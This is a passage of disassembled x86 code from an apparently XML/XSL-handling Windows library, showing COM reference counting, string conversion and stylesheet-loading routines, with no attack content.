		mov	esi, ecx
		mov	dword ptr [esi], offset	off_69B146F8
		mov	dword ptr [esi+0Ch], 1
		mov	[esi+4], eax
		jz	short loc_69B8217C
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+4]


loc_69B8217C:				; CODE XREF: sub_69B8215B+19j
		mov	eax, [esp+4+arg_4]
		test	eax, eax
		mov	[esi+8], eax
		jz	short loc_69B8218D
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+4]


loc_69B8218D:				; CODE XREF: sub_69B8215B+2Aj
		call	sub_69B1E031
		mov	eax, esi
		pop	esi
		retn	8
sub_69B8215B	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B82198	proc near		; CODE XREF: sub_69B826F2+ACp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		test	eax, eax
		mov	[ecx+2Ch], eax
		jz	short locret_69B821B3
		mov	ecx, dword_69B95AD8
		test	ecx, ecx
		jz	short locret_69B821B3
		push	eax
		call	sub_69B80F03

locret_69B821B3:			; CODE XREF: sub_69B82198+9j
					; sub_69B82198+13j
		retn	4
sub_69B82198	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B821B6	proc near		; CODE XREF: sub_69B83AAA+255p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, ecx
		push	dword ptr [esi+2Ch]
		mov	ecx, dword_69B95AD8
		call	sub_69B808AE
		test	eax, eax
		mov	ecx, [esp+4+arg_0]
		mov	[esi+20h], ecx
		jz	short loc_69B821E1
		push	esi
		push	0
		push	800Bh
		push	eax
		call	ds:SHLWAPI_136


loc_69B821E1:				; CODE XREF: sub_69B821B6+1Aj
		pop	esi
		retn	4
sub_69B821B6	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B821E5	proc near		; CODE XREF: sub_69B8283Ep
					; sub_69B82CB4+F8p ...
		xor	eax, eax
		cmp	[ecx+70h], al
		jnz	short locret_69B821FF
		cmp	[ecx+68h], eax
		jnz	short locret_69B821FF
		cmp	[ecx+76h], al
		jnz	short loc_69B821FC
		cmp	dword ptr [ecx+58h], 2
		jz	short locret_69B821FF


loc_69B821FC:				; CODE XREF: sub_69B821E5+Fj
		xor	eax, eax
		inc	eax

locret_69B821FF:			; CODE XREF: sub_69B821E5+5j
					; sub_69B821E5+Aj ...
		retn
sub_69B821E5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __stdcall	sub_69B82200(LPCWSTR lpString, int)

sub_69B82200	proc near		; CODE XREF: sub_69B8283E+7j
					; sub_69B828E4+E6p ...

lpString	= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_4]
		test	eax, eax
		push	esi
		push	edi
		mov	edi, [ebp+lpString]
		mov	esi, ecx
		jnz	short loc_69B82220
		cmp	word ptr [edi],	0
		jz	short loc_69B8223D
		push	edi		; lpString
		call	ds:lstrlenW	; lstrlenW
		test	eax, eax


loc_69B82220:				; CODE XREF: sub_69B82200+Fj
		jbe	short loc_69B8223D
		cmp	dword ptr [esi+30h], 0
		jz	short loc_69B8223D
		mov	ecx, [esi+30h]
		and	[ebp+arg_4], 0
		mov	edx, [ecx]
		lea	esi, [ebp+arg_4]
		push	esi
		add	eax, eax
		push	eax
		push	edi
		push	ecx
		call	dword ptr [edx+10h]


loc_69B8223D:				; CODE XREF: sub_69B82200+15j
					; sub_69B82200:loc_69B82220j ...
		pop	edi
		pop	esi
		pop	ebp
		retn	8
sub_69B82200	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B82243	proc near		; CODE XREF: sub_69B837DF+4Ep
					; sub_69B842BA+29p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		push	edi
		xor	ebx, ebx
		mov	edi, ecx
		cmp	[edi+38h], ebx
		mov	[ebp+var_4], ebx
		jz	short loc_69B8228C
		mov	eax, [edi+38h]
		mov	ecx, [eax]
		push	esi
		push	eax
		call	dword ptr [ecx+0F0h]
		cmp	eax, ebx
		mov	[ebp+var_4], eax
		jl	short loc_69B8228C
		mov	eax, [esi]
		mov	ecx, [eax]
		lea	edx, [ebp+var_4]
		push	edx
		push	eax
		call	dword ptr [ecx+1Ch]
		cmp	[ebp+var_4], ebx
		jnz	short loc_69B822C4
		mov	eax, [esi]
		cmp	eax, ebx
		jz	short loc_69B8228A
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]


loc_69B8228A:				; CODE XREF: sub_69B82243+3Fj
		mov	[esi], ebx


loc_69B8228C:				; CODE XREF: sub_69B82243+14j
					; sub_69B82243+28j
		cmp	[edi+48h], ebx
		jz	short loc_69B822C4
		mov	edi, [edi+48h]
		mov	eax, [edi]
		push	esi
		push	edi
		call	dword ptr [eax+0F0h]
		cmp	eax, ebx
		mov	[ebp+var_4], eax
		jl	short loc_69B822C4
		mov	eax, [esi]
		mov	ecx, [eax]
		lea	edx, [ebp+var_4]
		push	edx
		push	eax
		call	dword ptr [ecx+1Ch]
		cmp	[ebp+var_4], ebx
		jnz	short loc_69B822C4
		mov	eax, [esi]
		cmp	eax, ebx
		jz	short loc_69B822C2
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]


loc_69B822C2:				; CODE XREF: sub_69B82243+77j
		mov	[esi], ebx


loc_69B822C4:				; CODE XREF: sub_69B82243+39j
					; sub_69B82243+4Cj ...
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	4
sub_69B82243	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B822CE	proc near		; CODE XREF: sub_69B81A7A+6p

var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	esi
		mov	esi, ecx
		mov	eax, [esi+30h]
		push	edi
		xor	edi, edi
		cmp	eax, edi
		mov	[ebp+var_4], 80004005h
		mov	[ebp+var_C], edi
		mov	[ebp+var_10], edi
		mov	[ebp+var_8], edi
		mov	[ebp+var_14], edi
		mov	[ebp+var_18], edi
		jz	short loc_69B8230A
		mov	eax, [eax+28h]
		cmp	eax, edi
		jz	short loc_69B8230A
		mov	ecx, eax
		call	sub_69B81644
		mov	[ebp+var_1C], eax
		jmp	short loc_69B8230D
; ---------------------------------------------------------------------------


loc_69B8230A:				; CODE XREF: sub_69B822CE+27j
					; sub_69B822CE+2Ej
		mov	[ebp+var_1C], edi


loc_69B8230D:				; CODE XREF: sub_69B822CE+3Aj
		mov	eax, [ebp+var_1C]
		cmp	eax, edi
		jz	loc_69B823BC
		mov	ecx, [eax]
		lea	edx, [ebp+var_8]
		push	edx
		push	(offset	loc_69B2B07C+4)
		push	eax
		call	dword ptr [ecx]
		cmp	eax, edi
		mov	[ebp+var_4], eax
		jl	loc_69B823BC
		push	ebx
		mov	ebx, SysAllocString
		push	offset aXmldocument ; "XMLDocument"
		call	ebx ; SysAllocString
		cmp	eax, edi
		mov	[ebp+var_14], eax
		jnz	short loc_69B8234F
		mov	[ebp+var_4], 8007000Eh
		jmp	short loc_69B823BB
; ---------------------------------------------------------------------------


loc_69B8234F:				; CODE XREF: sub_69B822CE+76j
		mov	eax, [esi+38h]
		mov	ecx, [eax]
		lea	edx, [ebp+var_C]
		push	edx
		mov	edi, offset dword_69B2AFE0
		push	edi
		push	eax
		call	dword ptr [ecx]
		test	eax, eax
		mov	[ebp+var_4], eax
		jl	short loc_69B823B9
		push	[ebp+var_C]
		push	[ebp+var_8]
		push	[ebp+var_14]
		call	sub_69B81952
		test	eax, eax
		mov	[ebp+var_4], eax
		jl	short loc_69B823B9
		push	offset aXsldocument ; "XSLDocument"
		call	ebx ; SysAllocString
		test	eax, eax
		mov	[ebp+var_18], eax
		jnz	short loc_69B82394
		mov	[ebp+var_4], 8007000Eh
		jmp	short loc_69B823B9
; ---------------------------------------------------------------------------


loc_69B82394:				; CODE XREF: sub_69B822CE+BBj
		mov	esi, [esi+48h]
		mov	eax, [esi]
		lea	ecx, [ebp+var_10]
		push	ecx
		push	edi
		push	esi
		call	dword ptr [eax]
		test	eax, eax
		mov	[ebp+var_4], eax
		jl	short loc_69B823B9
		push	[ebp+var_10]
		push	[ebp+var_8]
		push	[ebp+var_18]
		call	sub_69B81952
		mov	[ebp+var_4], eax


loc_69B823B9:				; CODE XREF: sub_69B822CE+98j
					; sub_69B822CE+ADj ...
		xor	edi, edi


loc_69B823BB:				; CODE XREF: sub_69B822CE+7Fj
		pop	ebx


loc_69B823BC:				; CODE XREF: sub_69B822CE+44j
					; sub_69B822CE+5Dj
		mov	eax, [ebp+var_C]
		cmp	eax, edi
		jz	short loc_69B823C9
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]


loc_69B823C9:				; CODE XREF: sub_69B822CE+F3j
		mov	eax, [ebp+var_10]
		cmp	eax, edi
		mov	[ebp+var_C], edi
		jz	short loc_69B823D9
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]


loc_69B823D9:				; CODE XREF: sub_69B822CE+103j
		mov	eax, [ebp+var_8]
		cmp	eax, edi
		mov	[ebp+var_10], edi
		jz	short loc_69B823E9
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]


loc_69B823E9:				; CODE XREF: sub_69B822CE+113j
		cmp	[ebp+var_14], edi
		mov	esi, SysFreeString
		mov	[ebp+var_8], edi
		jz	short loc_69B823FC
		push	[ebp+var_14]	; BSTR
		call	esi ; SysFreeString


loc_69B823FC:				; CODE XREF: sub_69B822CE+127j
		cmp	[ebp+var_18], edi
		jz	short loc_69B82406
		push	[ebp+var_18]	; BSTR
		call	esi ; SysFreeString


loc_69B82406:				; CODE XREF: sub_69B822CE+131j
		mov	eax, [ebp+var_1C]
		cmp	eax, edi
		pop	edi
		pop	esi
		jz	short loc_69B82415
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]


loc_69B82415:				; CODE XREF: sub_69B822CE+13Fj
		mov	eax, [ebp+var_4]
		leave
		retn
sub_69B822CE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B8241A	proc near		; CODE XREF: sub_69B83AAA+245p

pvarg		= VARIANTARG ptr -24h
lpMultiByteStr	= dword	ptr -14h
cchWideChar	= dword	ptr -10h
cchMultiByte	= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= word ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 24h
		push	ebx
		push	edi
		lea	eax, [ebp+cchMultiByte]
		push	eax		; int
		push	17h		; lpType
		xor	ebx, ebx
		push	offset Name	; lpName
		mov	word ptr [ebp+pvarg.anonymous_0], 1
		mov	[ebp+var_8], ebx
		call	sub_69B2F67F
		cmp	eax, ebx
		mov	[ebp+lpMultiByteStr], eax
		jnz	short loc_69B8244E
		mov	edi, 0C00CE512h
		jmp	loc_69B824EF
; ---------------------------------------------------------------------------


loc_69B8244E:				; CODE XREF: sub_69B8241A+28j
		push	esi
		mov	esi, ds:MultiByteToWideChar
		push	ebx		; cchWideChar
		push	ebx		; lpWideCharStr
		push	[ebp+cchMultiByte] ; cchMultiByte
		push	eax		; lpMultiByteStr
		push	ebx		; dwFlags
		push	ebx		; CodePage
		call	esi ; MultiByteToWideChar
		lea	edi, [eax+eax]
		mov	[ebp+cchWideChar], eax
		lea	eax, [edi+2]
		push	eax
		call	sub_69B11E44
		cmp	eax, ebx
		mov	[ebp+var_8], eax
		jnz	short loc_69B8247C


loc_69B82475:				; CODE XREF: sub_69B8241A+87j
		mov	edi, 8007000Eh
		jmp	short loc_69B824EE
; ---------------------------------------------------------------------------


loc_69B8247C:				; CODE XREF: sub_69B8241A+59j
		push	[ebp+cchWideChar] ; cchWideChar
		push	eax		; lpWideCharStr
		push	[ebp+cchMultiByte] ; cchMultiByte
		push	[ebp+lpMultiByteStr] ; lpMultiByteStr
		push	ebx		; dwFlags
		push	ebx		; CodePage
		call	esi ; MultiByteToWideChar
		test	eax, eax
		jz	short loc_69B824E9
		mov	eax, [ebp+var_8]
		push	eax		; OLECHAR *
		mov	[edi+eax], bx
		call	SysAllocString
		cmp	eax, ebx
		mov	dword ptr [ebp+pvarg.anonymous_0+8], eax
		jz	short loc_69B82475
		mov	esi, [ebp+arg_0]
		mov	eax, [esi]
		push	ebx
		push	esi
		call	dword ptr [eax+110h]
		mov	edi, eax
		cmp	edi, ebx
		jl	short loc_69B824EE
		mov	eax, [esi]
		push	0FFFFFFFFh
		push	esi
		call	dword ptr [eax+118h]
		mov	edi, eax
		cmp	edi, ebx
		jl	short loc_69B824EE
		mov	eax, [esi]
		lea	ecx, [ebp+var_4]
		push	ecx
		push	dword ptr [ebp+pvarg.anonymous_0+8]
		mov	word ptr [ebp+pvarg.anonymous_0], 8
		push	esi
		call	dword ptr [eax+104h]
		mov	edi, eax
		cmp	edi, ebx
		jl	short loc_69B824EE
		cmp	[ebp+var_4], bx
		jnz	short loc_69B824EE


loc_69B824E9:				; CODE XREF: sub_69B8241A+72j
		mov	edi, 80004005h


loc_69B824EE:				; CODE XREF: sub_69B8241A+60j
					; sub_69B8241A+9Aj ...
		pop	esi


loc_69B824EF:				; CODE XREF: sub_69B8241A+2Fj
		lea	eax, [ebp+pvarg]
		push	eax		; pvarg
		call	VariantClear
		cmp	[ebp+var_8], ebx
		jz	short loc_69B82506
		push	[ebp+var_8]
		call	sub_69B1B2B7


loc_69B82506:				; CODE XREF: sub_69B8241A+E2j
		mov	eax, edi
		pop	edi
		pop	ebx
		leave
		retn	4
sub_69B8241A	endp

; ---------------------------------------------------------------------------
		align 10h
; char Name[]
Name		dd 41464544h, 53544C55h, 53582E53h ; DATA XREF:	sub_69B8241A+10o
		db 4Ch,	0

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B8251E	proc near		; CODE XREF: sub_69B83AAA+108p
					; sub_69B83AAA+205p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		and	[ebp+var_4], 0
		push	esi
		mov	esi, [ebp+arg_4]
		mov	eax, [esi]
		push	edi
		lea	ecx, [ebp+var_4]
		push	ecx
		push	offset dword_69B2B0C0
		push	esi
		call	dword ptr [eax]
		mov	edi, eax
		test	edi, edi
		jl	short loc_69B82557
		mov	eax, [ebp+var_4]
		push	[ebp+arg_0]
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+0Ch]
		mov	edi, eax
		test	edi, edi
		jl	short loc_69B82557
		push	esi
		call	sub_69B7E0EC


loc_69B82557:				; CODE XREF: sub_69B8251E+1Fj
					; sub_69B8251E+31j
		mov	eax, [ebp+var_4]
		test	eax, eax
		jz	short loc_69B82564
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]


loc_69B82564:				; CODE XREF: sub_69B8251E+3Ej
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn	8
sub_69B8251E	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B8256C	proc near		; CODE XREF: sub_69B82F37+A0p
		push	esi
		mov	esi, ecx
		mov	eax, [esi+30h]
		test	eax, eax
		jz	short loc_69B82588
		mov	eax, [eax+28h]
		test	eax, eax
		jz	short loc_69B82588
		push	0
		push	0
		mov	ecx, eax
		call	sub_69B81633


loc_69B82588:				; CODE XREF: sub_69B8256C+8j
					; sub_69B8256C+Fj
		mov	eax, [esi+30h]
		test	eax, eax
		jz	short loc_69B82595
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]


loc_69B82595:				; CODE XREF: sub_69B8256C+21j
		and	dword ptr [esi+30h], 0
		pop	esi
		retn
sub_69B8256C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B8259B	proc near		; CODE XREF: sub_69B81A7A+10p
					; sub_69B83AAA+56p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, ecx
		mov	eax, [edi+30h]
		xor	esi, esi
		xor	ebx, ebx
		cmp	eax, esi
		mov	[ebp+var_4], esi
		jz	short loc_69B825C2
		mov	eax, [eax+28h]
		cmp	eax, esi
		jz	short loc_69B825C2
		mov	ecx, eax
		call	sub_69B81644
		mov	esi, eax


loc_69B825C2:				; CODE XREF: sub_69B8259B+15j
					; sub_69B8259B+1Cj
		test	esi, esi
		jz	short loc_69B825FE
		mov	eax, [esi]
		lea	ecx, [ebp+var_4]
		push	ecx
		push	offset dword_69B82624
		push	esi
		call	dword ptr [eax]
		mov	ebx, eax
		test	ebx, ebx
		jl	short loc_69B825FE
		mov	eax, [ebp+var_4]
		test	eax, eax
		jz	short loc_69B8260B
		push	[ebp+arg_0]
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+0Ch]
		mov	ebx, eax
		test	ebx, ebx
		jnz	short loc_69B825FE
		cmp	word ptr [ebp+arg_0], 0FFFFh
		setz	al
		mov	[edi+81h], al


loc_69B825FE:				; CODE XREF: sub_69B8259B+29j
					; sub_69B8259B+3Dj ...
		mov	eax, [ebp+var_4]
		test	eax, eax
		jz	short loc_69B8260B
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]


loc_69B8260B:				; CODE XREF: sub_69B8259B+44j
					; sub_69B8259B+68j
		and	[ebp+var_4], 0
		test	esi, esi
		jz	short loc_69B82619
		mov	eax, [esi]
		push	esi
		call	dword ptr [eax+8]


loc_69B82619:				; CODE XREF: sub_69B8259B+76j
		pop	edi
		pop	esi
		mov	eax, ebx
		pop	ebx
		leave
		retn	4
sub_69B8259B	endp

; ---------------------------------------------------------------------------
		align 4
dword_69B82624	dd 0E4E23071h, 11D24D07h, 800076AEh, 99C13BC7h
; =============== S U B	R O U T	I N E =======================================



sub_69B82634	proc near		; CODE XREF: sub_69B81389+65p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, ecx
		mov	eax, [esi+3Ch]
		test	eax, eax
		jz	short loc_69B82644
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]


loc_69B82644:				; CODE XREF: sub_69B82634+8j
		mov	eax, [esp+4+arg_0]
		mov	[esi+3Ch], eax
		pop	esi
		retn	4
sub_69B82634	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B8264F	proc near		; CODE XREF: sub_69B834CD+4Fp

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		and	[ebp+var_4], 0
		and	[ebp+var_8], 0
		push	ebx
		push	esi
		push	edi
		lea	edx, [ebp+var_4]
		mov	esi, ecx
		mov	eax, [esi+48h]
		mov	ecx, [eax]
		push	edx
		mov	edi, offset dword_69B25E54
		push	edi
		push	eax
		call	dword ptr [ecx]
		mov	ebx, eax
		test	ebx, ebx
		jl	short loc_69B826B0
		mov	eax, [esi+38h]
		mov	ecx, [eax]
		lea	edx, [ebp+var_8]
		push	edx
		push	edi
		push	eax
		call	dword ptr [ecx]
		mov	ebx, eax
		test	ebx, ebx
		jl	short loc_69B826B0
		lea	edi, [esi+14h]
		push	edi
		call	sub_69B6F759
		mov	ebx, eax
		test	ebx, ebx
		jl	short loc_69B826B0
		mov	eax, [edi]
		mov	ecx, [eax]
		push	0
		push	dword ptr [esi+30h]
		push	[ebp+var_8]
		push	[ebp+var_4]
		push	eax
		call	dword ptr [ecx+0Ch]
		mov	ebx, eax


loc_69B826B0:				; CODE XREF: sub_69B8264F+28j
					; sub_69B8264F+3Bj ...
		mov	eax, [ebp+var_4]
		test	eax, eax
		jz	short loc_69B826BD
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]


loc_69B826BD:				; CODE XREF: sub_69B8264F+66j
		mov	eax, [ebp+var_8]
		and	[ebp+var_4], 0
		test	eax, eax
		jz	short loc_69B826CE
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]


loc_69B826CE:				; CODE XREF: sub_69B8264F+77j
		pop	edi
		pop	esi
		mov	eax, ebx
		pop	ebx
		leave
		retn
sub_69B8264F	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B826D5	proc near		; CODE XREF: sub_69B8156C+57p

arg_0		= dword	ptr  4

		cmp	dword ptr [ecx+14h], 0
		jz	short loc_69B826EA
		mov	eax, [ecx+14h]
		push	[esp+arg_0]
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+18h]
		jmp	short locret_69B826EF
; ---------------------------------------------------------------------------


loc_69B826EA:				; CODE XREF: sub_69B826D5+4j
		mov	eax, 80004005h

locret_69B826EF:			; CODE XREF: sub_69B826D5+13j
		retn	4
sub_69B826D5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B826F2	proc near		; CODE XREF: sub_69B83AAA+139p

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		mov	esi, ecx
		mov	[ebp+var_C], edi
		mov	[ebp+var_4], edi
		mov	[ebp+var_8], edi
		call	sub_69B80FE6
		xor	ebx, ebx
		inc	ebx
		test	eax, eax
		jl	loc_69B827BA
		push	offset stru_69B9B6A0 ; lpCriticalSection
		call	ds:EnterCriticalSection
		mov	ecx, dword_69B95AD8
		call	sub_69B80E07
		test	eax, eax
		mov	[ebp+var_8], eax
		jz	short loc_69B827AF
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		lea	edx, [ebp+var_4]
		push	edx
		push	offset stru_69B25E84
		push	eax
		call	dword ptr [ecx]
		test	eax, eax
		jl	short loc_69B827AF
		cmp	[ebp+var_4], edi
		jz	short loc_69B827AF
		push	24h
		call	sub_69B11E44
		test	eax, eax
		jz	short loc_69B82772
		push	[ebp+arg_4]
		mov	ecx, eax
		push	dword ptr [esi+24h]
		push	esi
		push	[ebp+var_4]
		push	[ebp+var_8]
		call	sub_69B80F83
		mov	edi, eax
		jmp	short loc_69B82774
; ---------------------------------------------------------------------------


loc_69B82772:				; CODE XREF: sub_69B826F2+66j
		xor	edi, edi


loc_69B82774:				; CODE XREF: sub_69B826F2+7Ej
		test	edi, edi
		jz	short loc_69B827AF
		mov	ecx, dword_69B95ADC
		push	edi
		call	sub_69B80A6F
		test	eax, eax
		jz	short loc_69B827AF
		push	pHandles	; hEvent
		call	ds:SetEvent	; SetEvent
		test	eax, eax
		jz	short loc_69B827AF
		push	[ebp+var_8]
		mov	ecx, [esi+30h]
		call	sub_69B82198
		mov	eax, [esi+20h]
		mov	[eax+1Ch], ebx
		mov	[esi+28h], ebx
		mov	[ebp+var_C], ebx


loc_69B827AF:				; CODE XREF: sub_69B826F2+41j
					; sub_69B826F2+56j ...
		push	offset stru_69B9B6A0 ; lpCriticalSection
		call	ds:LeaveCriticalSection


loc_69B827BA:				; CODE XREF: sub_69B826F2+20j
		mov	eax, [ebp+var_4]
		test	eax, eax
		jz	short loc_69B827C7
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]


loc_69B827C7:				; CODE XREF: sub_69B826F2+CDj
		and	[ebp+var_4], 0
		cmp	dword ptr [esi+28h], 0
		jnz	short loc_69B827DC
		test	edi, edi
		jz	short loc_69B827DC
		mov	eax, [edi]
		push	ebx
		mov	ecx, edi
		call	dword ptr [eax]


loc_69B827DC:				; CODE XREF: sub_69B826F2+DDj
					; sub_69B826F2+E1j
		cmp	[ebp+var_8], 0
		pop	edi
		pop	esi
		pop	ebx
		jz	short loc_69B827F7
		mov	ecx, dword_69B95AD8
		test	ecx, ecx
		jz	short loc_69B827F7
		push	[ebp+var_8]
		call	sub_69B808E7


loc_69B827F7:				; CODE XREF: sub_69B826F2+F1j
					; sub_69B826F2+FBj
		mov	eax, [ebp+var_C]
		leave
		retn	8
sub_69B826F2	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B827FE	proc near		; CODE XREF: sub_69B80B78+11p
		push	esi
		mov	esi, ecx
		mov	eax, [esi+48h]
		test	eax, eax
		jz	short loc_69B8280E
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]


loc_69B8280E:				; CODE XREF: sub_69B827FE+8j
		mov	eax, [esi+38h]
		and	dword ptr [esi+48h], 0
		test	eax, eax
		jz	short loc_69B8281F
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]


loc_69B8281F:				; CODE XREF: sub_69B827FE+19j
		and	dword ptr [esi+38h], 0
		pop	esi
		retn
sub_69B827FE	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B82825	proc near		; CODE XREF: sub_69B83984+CCp
		mov	eax, [ecx+14h]
		test	eax, eax
		jz	short loc_69B82834
		push	eax		; OLECHAR *
		call	SysAllocString
		retn
; ---------------------------------------------------------------------------


loc_69B82834:				; CODE XREF: sub_69B82825+5j
		xor	eax, eax
		retn
sub_69B82825	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B82837	proc near		; DATA XREF: .text:69B1F700o

arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_8]
		retn	14h
sub_69B82837	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B8283E	proc near		; CODE XREF: sub_69B82FEB+75p
					; sub_69B831E9+68p ...
		call	sub_69B821E5
		test	eax, eax
		jnz	sub_69B82200
		retn	8
sub_69B8283E	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B8284E	proc near		; CODE XREF: sub_69B8436C+100p
					; sub_69B8436C+148p
		push	1Ch
		push	offset dword_69B828D8
		call	sub_69B19C5C
		mov	edi, ecx
		mov	esi, [ebp+8]
		xor	ebx, ebx
		cmp	esi, ebx
		jz	short loc_69B828D0
		cmp	[edi+44h], ebx
		jz	short loc_69B828D0
		mov	[ebp-4], ebx
		mov	[ebp-1Ch], ebx
		mov	eax, [esi]
		push	esi
		call	dword ptr [eax+18h]
		mov	[ebp-20h], eax
		mov	eax, [esi]
		push	esi
		call	dword ptr [eax+1Ch]
		mov	[ebp-24h], eax
		mov	eax, [esi]
		lea	ecx, [ebp-1Ch]
		push	ecx
		push	esi
		call	dword ptr [eax+34h]
		push	ebx
		push	0C00CE513h
		call	sub_69B2F944
		pop	ecx
		pop	ecx
		mov	esi, eax
		mov	[ebp-28h], esi
		mov	eax, [esi+0Ch]
		mov	[ebp-2Ch], eax
		mov	ecx, [edi+44h]
		mov	edx, [ecx]
		push	ebx
		push	eax
		push	dword ptr [ebp-24h]
		push	dword ptr [ebp-20h]
		push	dword ptr [ebp-1Ch]
		call	dword ptr [edx+14h]
		mov	eax, [esi]
		mov	ecx, esi
		call	dword ptr [eax+30h]
		jmp	short loc_69B828CC
; ---------------------------------------------------------------------------


loc_69B828C0:				; DATA XREF: .text:69B828DCo
		push	dword ptr [ebp-14h]
		call	sub_69B2E94A
		retn
; ---------------------------------------------------------------------------


loc_69B828C9:				; DATA XREF: .text:69B828E0o
		mov	esp, [ebp-18h]


loc_69B828CC:				; CODE XREF: sub_69B8284E+70j
		or	dword ptr [ebp-4], 0FFFFFFFFh


loc_69B828D0:				; CODE XREF: sub_69B8284E+15j
					; sub_69B8284E+1Aj
		call	sub_69B1853C
		retn	8
sub_69B8284E	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
dword_69B828D8	dd 0FFFFFFFFh			dd offset loc_69B828C0
		dd offset loc_69B828C9

; =============== S U B	R O U T	I N E =======================================



sub_69B828E4	proc near		; CODE XREF: sub_69B82A4C+54p
					; sub_69B837DF+15Ep
		push	30h
		push	offset dword_69B82A40
		call	sub_69B19C5C
		mov	edi, ecx
		mov	[ebp-1Ch], edi
		call	dword_69B92948
		mov	[ebp-20h], eax
		xor	ebx, ebx
		cmp	eax, ebx
		jnz	short loc_69B8290E
		mov	eax, 80004005h
		jmp	loc_69B82A15
; ---------------------------------------------------------------------------


loc_69B8290E:				; CODE XREF: sub_69B828E4+1Ej
		push	ebx
		push	eax
		lea	ecx, [ebp-2Ch]
		call	sub_69B1A8C7
		lea	eax, [edi+80h]
		cmp	[eax], bl
		jnz	loc_69B82A02
		cmp	[edi+30h], ebx
		jz	loc_69B82A02
		mov	byte ptr [eax],	1
		mov	[ebp-4], ebx
		cmp	[ebp+0Ch], ebx
		jz	short loc_69B8294C
		push	dword ptr [ebp+0Ch] ; lpString
		call	sub_69B1A587
		mov	[ebp-30h], eax
		mov	esi, offset off_69B1A5AC
		jmp	short loc_69B82954
; ---------------------------------------------------------------------------


loc_69B8294C:				; CODE XREF: sub_69B828E4+54j
		mov	esi, offset off_69B1A5AC
		mov	[ebp-30h], esi


loc_69B82954:				; CODE XREF: sub_69B828E4+66j
		mov	eax, [edi+58h]
		cmp	eax, ebx
		jnz	short loc_69B82960
		mov	[ebp-34h], esi
		jmp	short loc_69B82978
; ---------------------------------------------------------------------------


loc_69B82960:				; CODE XREF: sub_69B828E4+75j
		cmp	eax, 1
		mov	eax, offset aCss ; "CSS"
		jz	short loc_69B8296F
		mov	eax, offset aXsl ; "XSL"


loc_69B8296F:				; CODE XREF: sub_69B828E4+84j
		push	eax		; lpString
		call	sub_69B1A587
		mov	[ebp-34h], eax


loc_69B82978:				; CODE XREF: sub_69B828E4+7Aj
		cmp	[ebp+8], ebx
		jz	short loc_69B8298A
		push	dword ptr [ebp+8] ; lpString
		call	sub_69B1A587
		mov	[ebp-38h], eax
		jmp	short loc_69B8298D
